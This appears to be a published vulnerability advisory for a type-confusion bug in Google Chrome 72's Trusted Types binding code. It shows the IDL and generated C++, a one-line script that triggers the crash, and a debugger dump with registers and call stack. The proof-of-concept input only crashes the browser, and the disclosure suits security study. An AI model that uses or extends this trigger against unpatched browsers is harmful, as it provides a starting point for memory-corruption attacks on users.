Google Chrome 72.0.3626.81 - 'V8TrustedTypePolicyOptions::ToImpl' Type Confusion

VULNERABILITY DETAILS
The binding code generator doesn't add checks to ensure that the callback
properties of a dictionary are indeed JS functions. For example, for the
the TrustedTypePolicyOptions dictionary:
https://cs.chromium.org/chromium/src/third_party/blink/renderer/core/trustedtypes/trusted_type_policy_options.idl?rcl=6c2e672967359ad32d19af8b09873adab2c0beec&l=7
-------------------
dictionary TrustedTypePolicyOptions {
   CreateHTMLCallback createHTML;
   CreateScriptCallback createScript;
   CreateURLCallback createScriptURL;
   CreateURLCallback createURL;
   boolean exposed = false;
};

callback CreateHTMLCallback = DOMString (DOMString input);
callback CreateScriptCallback = DOMString (DOMString input);
callback CreateURLCallback = USVString (DOMString input);
-------------------

the code is generated as follows:
https://cs.chromium.org/chromium/src/out/Debug/gen/third_party/blink/renderer/bindings/core/v8/v8_trusted_type_policy_options.cc?rcl=077f8deee2dee38d4836be1df20115eba4884f69&l=35
-------------------
void V8TrustedTypePolicyOptions::ToImpl(v8::Isolate* isolate, v8::Local<v8::Value> v8_value, TrustedTypePolicyOptions* impl, ExceptionState& exception_state) {
  if (IsUndefinedOrNull(v8_value)) {
    return;
  }
  if (!v8_value->IsObject()) {
    exception_state.ThrowTypeError("cannot convert to dictionary.");
    return;
  }
  v8::Local<v8::Object> v8Object = v8_value.As<v8::Object>();
  ALLOW_UNUSED_LOCAL(v8Object);

  const v8::Eternal<v8::Name>* keys = eternalV8TrustedTypePolicyOptionsKeys(isolate);
  v8::TryCatch block(isolate);
  v8::Local<v8::Context> context = isolate->GetCurrentContext();
  v8::Local<v8::Value> create_html_value;
  if (!v8Object->Get(context, keys[0].Get(isolate)).ToLocal(&create_html_value)) {
    exception_state.RethrowV8Exception(block.Exception());
    return;
  }
  if (create_html_value.IsEmpty() || create_html_value->IsUndefined()) {
    // Do nothing.
  } else {
    V8CreateHTMLCallback* create_html_cpp_value = V8CreateHTMLCallback::Create(create_html_value.As<v8::Function>()); //******* cast with no prior check
    impl->setCreateHTML(create_html_cpp_value);
  }               
[...]
-------------------

Thus, any JS object might be interpreted as a function.


VERSION
Google Chrome 72.0.3626.81 (Official Build) (64-bit) 
Please note that the TrustedTypes feature is currently hidden behind the
"experimental platform features" flag.


REPRODUCTION CASE
<script>
TrustedTypes.createPolicy('foo', { createHTML: 0x41414141 });
</script>


(790.b30): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
chrome_child!v8::internal::JSReceiver::GetCreationContext+0xa:
00007ffe`ba967f5a 488b41ff        mov     rax,qword ptr [rcx-1] ds:41414140`ffffffff=????????????????
0:000> r
rax=00001313b3350115 rbx=00006fc6d6eaf920 rcx=4141414100000000
rdx=000000e521dfd190 rsi=000000e521dfd190 rdi=000000e521dfd1d8
rip=00007ffeba967f5a rsp=000000e521dfd130 rbp=000000e521dfd290
 r8=00007ffebfb25930  r9=0000000000000018 r10=0000000000000005
r11=00003f2bc628c240 r12=000000e521dfd330 r13=000001e7dbd16650
r14=000001e7ddc22a90 r15=00003f2bc62364b8
iopl=0         nv up ei pl nz na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
chrome_child!v8::internal::JSReceiver::GetCreationContext+0xa:
00007ffe`ba967f5a 488b41ff        mov     rax,qword ptr [rcx-1] ds:41414140`ffffffff=????????????????
0:000> k
 # Child-SP          RetAddr           Call Site
00 000000e5`21dfd130 00007ffe`ba967f24 chrome_child!v8::internal::JSReceiver::GetCreationContext+0xa [C:\b\c\b\win64_clang\src\v8\src\objects.cc @ 4010] 
01 000000e5`21dfd170 00007ffe`bab1a1d7 chrome_child!v8::Object::CreationContext+0x24 [C:\b\c\b\win64_clang\src\v8\src\api.cc @ 4859] 
02 000000e5`21dfd1b0 00007ffe`bd196835 chrome_child!blink::CallbackFunctionBase::CallbackFunctionBase+0x47 [C:\b\c\b\win64_clang\src\third_party\blink\renderer\platform\bindings\callback_function_base.cc @ 13] 
03 000000e5`21dfd210 00007ffe`bd195101 chrome_child!blink::V8TrustedTypePolicyOptions::ToImpl+0x125 [C:\b\c\b\win64_clang\src\out\Release_x64\gen\third_party\blink\renderer\bindings\core\v8\v8_trusted_type_policy_options.cc @ 57] 
04 000000e5`21dfd2f0 00007ffe`ba957f93 chrome_child!blink::V8TrustedTypePolicyFactory::CreatePolicyMethodCallback+0x211 [C:\b\c\b\win64_clang\src\out\Release_x64\gen\third_party\blink\renderer\bindings\core\v8\v8_trusted_type_policy_factory.cc @ 234] 
05 000000e5`21dfd3c0 00007ffe`bbbebb9f chrome_child!v8::internal::FunctionCallbackArguments::Call+0x253 [C:\b\c\b\win64_clang\src\v8\src\api-arguments-inl.h @ 147] 
06 000000e5`21dfd4e0 00007ffe`bbbeb631 chrome_child!v8::internal::`anonymous namespace'::HandleApiCallHelper<0>+0x20f [C:\b\c\b\win64_clang\src\v8\src\builtins\builtins-api.cc @ 111] 
07 000000e5`21dfd5e0 00007ffe`ba957ca1 chrome_child!v8::internal::Builtin_Impl_HandleApiCall+0x111 [C:\b\c\b\win64_clang\src\v8\src\builtins\builtins-api.cc @ 0] 
08 000000e5`21dfd6a0 00007ffe`bc23cdcf chrome_child!v8::internal::Builtin_HandleApiCall+0x41 [C:\b\c\b\win64_clang\src\v8\src\builtins\builtins-api.cc @ 127] 
09 000000e5`21dfd700 00003921`bff1b0d1 chrome_child!Builtins_CEntry_Return1_DontSaveFPRegs_ArgvOnStack_NoBuiltinExit+0x4f